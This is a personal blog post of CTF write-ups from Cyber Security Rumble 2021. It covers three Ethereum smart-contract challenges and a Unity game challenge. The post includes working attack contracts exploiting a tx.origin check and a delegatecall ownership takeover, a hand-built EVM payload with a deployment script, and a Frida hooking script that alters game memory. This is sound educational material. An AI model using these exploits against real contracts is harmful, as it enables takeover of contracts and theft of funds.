Martin Wagner

Cyber Security Rumble 2021 Writeups

After enjoying last year’s Cyber Security Rumble CTF I rejoined the competition this year together with some friends from KITCTF. I had a lot of fun and I plan to participate again next year. These are a few of the challenges I solved during the weekend.

UnknownOrigin #

The first of three Ethereum smart contract challenges of the CTF.

All the challenges are deployed on a private Ethereum chain that we can connect to using metamask and the provided RPC url. We also get 10 ETH on this chain, so we can pay for transactions.

This was the code for the first smart contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract UnknownOrigin {
    address public owner;

    constructor() public {
          owner = msg.sender;
    }
      
    modifier onlyOwned () {
          require(msg.sender != tx.origin);
          _;
    }

    function updateOwner (address _newOwner) public onlyOwned {
          owner = _newOwner;
    }
}

We have to set the owner variable of this contract to our address to solve the challenge. To achieve this, we have to call the updateOwner(address) function with our own address as parameter. The call will only succeed if msg.sender != tx.oring.

According to this Stackexchange answer, this condition is met if a call is coming from another smart contract instead of a transaction.

With this knowledge, I fired up remix and wrote the following attack contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./UnknownOrigin.sol";

contract Attack {
    UnknownOrigin public uo;

    constructor(address v) public {
          uo = UnknownOrigin(v);
          uo.updateOwner(msg.sender);
    }
}

To deploy it, I configured remix to use metamask to reach the CTF chain by selecting the “Injected Web3” environment.

If the attack contract is called with the address of UnkownOrigin as parameter, it will automatically call updateOwner with our address.

Unaffordable #

The second Ethereum challenge, same setup, new contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Unaffordable {
  address public owner;
  address public adminContract;
  address[] public ownerHistory;

  constructor() public {
    owner = msg.sender;
  }

  modifier onlyOwner () {
    require(msg.sender == owner);
    _;
  }

  function updateAdminContract (address _admin) public returns (uint){
    uint size;
    assembly { size:= extcodesize(_admin) }
    require(size > 0 && size < 42);
    adminContract = _admin;
  }

  function remoteAdmin () public {
    adminContract.delegatecall(abi.encodePacked(bytes4(keccak256("adminFn()"))));
  }

  function updateOwnership (address _newOwner) private {
    ownerHistory.push(owner);
    owner = _newOwner;
  }

  function transferOwnership (address _newOwner) public onlyOwner {
    updateOwnership(_newOwner);
  }

  function buyout () public payable {
    require(msg.value > 1000000 ether);
    updateOwnership(msg.sender);
  }
}

This contract allows us to

The first option is easy to understand, but hard to execute. We don’t have 100000 ether. The second option is also quite easy to understand. The extcodesize of contracts is 0 while their constructor still runs, I assume this is why we are given a lower bound.

The only weird option is the last one. A delegatecall calls a function on another contract but in the context of the current contract. This means the other contract has access to the callers memory and storage.

If we can register our own admin contract that is less than 42 bytes large but can modify the owner variable, we should be able to take over this contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract UnaffordableAttackAdmin {
    address public owner;
    address public adminContract;
    address[] public ownerHistory;

    function adminFn () public {
        owner = tx.origin;
    }
}

This would do the job, but sadly these few lines of solidity compile to a few hundred bytes of EVM opcodes. Way too much for the challenge.

The solidity compiler can output readable ASM instructions, so what I did was to remove all the “unnecessary” instructions to create a contract that does nothing else than setting the storage slot used for the owner variable to tx.origin.

/* constructor */
  mstore(0x40, 0x80)
  callvalue
  dup1
  iszero
  tag_1
  jumpi
  0x00
  dup1
  revert
tag_1:
  pop
  dataSize(sub_0)
  dup1
  dataOffset(sub_0)
  0x00
  codecopy
  0x00
  return
stop

/* deployed code */
sub_0: assembly {
      0x00
      dup1
      sload
      0x01
      0x01
      0xa0
      shl
      sub
      not
      and
      origin
      or
      swap1
      sstore
      stop
}

A few things that were useful for this exercise:

To deploy the compiled contract code, I wrote the following node.js script:

const Web3 = require('web3')
const Tx = require('@ethereumjs/tx').Transaction
const fs = require('fs')

const web3 = new Web3('http://ethereum.rumble.host:8545')

const key = Buffer.from('my_private_key', 'hex')
const account = '0x5E9906F9254cF18eb3f249c1D24a6f5e82cfD7f6'

// output of evm-assembler
const bytecode = '0x6080604052348015600f57600080fd5b50601380601d6000396000f300600080546001600160a01b0319163217905500'

const gasPrice = web3.eth.gasPrice;
const gasPriceHex = web3.utils.toHex(gasPrice);
const gasLimitHex = web3.utils.toHex(3000000);

const tra = {
    gasPrice: gasPriceHex,
    gasLimit: gasLimitHex,
    data: bytecode,
    from: account,
    nonce: 30
}

const tx = new Tx(tra)

web3.eth.sendSignedTransaction('0x' + tx.sign(key).serialize().toString('hex'), (err, hash) => {
    console.log(err, hash)
})

With the admin contract in place, I only needed another small contract to execute the actual attack:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Unaffordable.sol";
import "./UnaffordableAttackAdmin.sol";

contract UnaffordableAttack {
    Unaffordable public uo;
    uint public size;

    constructor(Unaffordable attack) public {
        uo = attack;

        // Address of our handmade admin contract
        address admin = 0xCeb167b36635013ABC369A83E6A5685641A491Cb;

        // Used as info during development
        uint s;
        assembly { s:= extcodesize(admin) }
        size = s;

        // Start the attack
        uo.updateAdminContract(admin);
        // Trigger the deligatecall
        uo.remoteAdmin();
    }
}

Since there are no special requirements for this contract, I wrote & deployed it simply using remix.

FollowTheLeader #

The last smart contract challenge. We get no source code this time, only an address.

I used the block explorer provided by the organizers to dump the contract byte code and passed it to two different decompilers: ethervm.io and panoramix. The second one generated pretty readable code:

# Palkeoramix decompiler. 

def storage:
  highScore is uint256 at storage 0
  leaderAddress is addr at storage 1

def highScore(): # not payable
  return highScore

def leader(): # not payable
  return leaderAddress

#
#  Regular functions
#

def _fallback() payable: # default function
  revert

def claim(): # not payable
  require caller == leaderAddress
  call caller with:
     value eth.balance(this.address) wei
       gas 2300 * is_zero(value) wei
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]

def submit(uint256 score) payable: 
  require calldata.size - 4 >= 32
  require ext_code.size(0x24929d6336819282901da57a89ba7b5841fe91f0)
  static call 0x24929d6336819282901da57a89ba7b5841fe91f0.0x4250ac74 with:
          gas gas_remaining wei
         args call.value, score, highScore
  if not ext_call.success:
      revert with ext_call.return_data[0 len return_data.size]
  require return_data.size >= 32
  if ext_call.return_data[0]:
      leaderAddress = caller
      highScore = score

There exists a submit(score) function that we can call and that seems to call a function 0x4250ac74 on another contract. If this second call succeeds, we win and the highScore variable gets updated.

I also dumped the second contract using the block explorer and decompiled it:

# Palkeoramix decompiler. 

def _fallback() payable: # default function
  revert

def unknown4250ac74(uint256 call_value, uint256 score, uint256 highScore) payable: 
  require calldata.size - 4 >= 96
  if score <= highScore:
      return False #(score > highScore)
  if score >= 2 * highScore:
      return False #(score < 2 * highScore)
  return (1337 * 10^9 * score == call_value)

The function accepts three parameters (that I already renamed in this snippet) and does some basic checks with them. We can easily reverse these steps to know which values we have to use.

I wrote a simple stub contract, so I could interact with the real one using remix:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract FollowTheLeaderStub {
    address public leader;
    uint256 public highScore;

    function submit (uint256 score) public payable {}

    function claim () public payable {}
}

The current high score during the CTF was 9000, so I submitted a transaction with a score of 10000 and 1337 * 10^9 * 10000 wei or 0.01337 ether as transaction amount.

CSRunner #

A game challenge where we have to collect every flag char while avoiding any obstacles. As soon as we hit a single red enemy, it’s game over, and we have to start again.

csrunner

After extracting the challenge files, we find a file called UnityPlayer.dll, hinting that the game could be using the unity game engine. I have already solved some Unity game challenges in the past, which is why I quickly spotted the ./csrunner_Data/il2cpp_data directory and realized that the game’s code was compiled using IL2CPP, an IL bytecode to C++ compiler offered by Unity.

For us this means that we won’t find any easily reversible C# bytecode in the binary, but we should be able to dump the class names, attributes and methods that existed in the original code. The IL2CppDumper Project provides an easy way to do this:

.\Il2CppDumper.exe GameAssembly.dll global-metadata.dat out/

This generates the dump.cs file, which contains the layout of all classes used in the game’s code. After some looking around, I found the following class:

// Namespace: 
public class Spawner : MonoBehaviour // TypeDefIndex: 3153
{
  // Fields
  public float xrange; // 0x18
  public GameObject enemyPrefab; // 0x20
  public GameObject pickupPrefab; // 0x28
  public bool spawnEnemies; // 0x30
  public float minSpawnTime; // 0x34
  public float maxSpawnTime; // 0x38
  public int minSpawnCount; // 0x3C
  public int maxSpawnCount; // 0x40
  private float nextSpawnTime; // 0x44
  private float lastDropStep; // 0x48

  // Properties
  public float SpawnDelay { get; }

  // Methods

  // RVA: 0x6EA9B0 Offset: 0x6E95B0 VA: 0x1806EA9B0
  public float get_SpawnDelay() { }

  // RVA: 0x6EA540 Offset: 0x6E9140 VA: 0x1806EA540
  private void Update() { }

  // RVA: 0x2E80E0 Offset: 0x2E6CE0 VA: 0x1802E80E0
  public void ResetDrops() { }

  // RVA: 0x6EA2C0 Offset: 0x6E8EC0 VA: 0x1806EA2C0
  private GameObject SpawnPrefab(GameObject prefab, bool canHome) { }

  // RVA: 0x6EA980 Offset: 0x6E9580 VA: 0x1806EA980
  public void .ctor() { }
}

The spawnEnemies attribute seemed interesting, and I wanted to try to modify it. To easily debug and modify the game, I used Frida, a tool that allows us to hook and modify programs at runtime using custom JavaScript code.

To overwrite spawnEnemies I have to know its address. I tried hooking one of the methods of the Spawner class to find the address of the object, but this didn’t work somehow.

At this point I had another look at the dumped classes and found the main Game class that holds a reference to our Spawner object:

// Namespace: 
public class Game : MonoBehaviour // TypeDefIndex: 3145
{
  // ..
  public Spawner spawner; // 0x68

  // ...

  // RVA: 0x6E7000 Offset: 0x6E5C00 VA: 0x1806E7000
  public void GameOver(string reason) { }

  // ...
}

I choose the GameOver method on the Game class since I know how I could trigger a call to it and tried to hook it, similar to how I tried it with the other methods before and this time it worked.

// agent.js

var baseAddr = Module.findBaseAddress('GameAssembly.dll')
console.log('GameAssembly.dll baseAddr: ' + baseAddr)

var game_over = resolveAddress('0x6E7000')

Interceptor.attach(game_over, {
    onEnter: function (args) {
        const game = args[0]

        ptr(game).add(0x68).readPointer().add(0x30).writeInt(0)
        console.log('spawn', ptr(game).add(0x68).readPointer().add(0x30).readInt())
    }
});

function resolveAddress(offset) {
    return baseAddr.add(offset);
}

This snippet does a few things:

  1. Find the base address for the GameAssembly.dll
  2. Compute the address for the Game::GameOver() method
  3. Hook the Game::GameOver() method. Once it gets called, use the first argument which is a reference to the Game object to find the address of the Spawner::spawnEnemies attribute and set it to false

This successfully prevented enemies from spawning and I could collect all the flag chars without hitting any obstacles.

To inject the script into the game a bit of Frida boilerplate in python is required, this is the script that I used:

import json
import codecs
import frida
import sys

def main(target_process):
    session = frida.attach(target_process)

    with codecs.open('./agent.js', 'r', 'utf-8') as f:
        source = f.read()
    
    script = session.create_script(source)

    script.load()
    print("[!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.\n\n")
    sys.stdin.read()
    session.detach()

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("Usage: %s <process name or PID>" % __file__)
        sys.exit(1)

    try:
        target_process = int(sys.argv[1])
    except ValueError:
        target_process = sys.argv[1]
    main(target_process)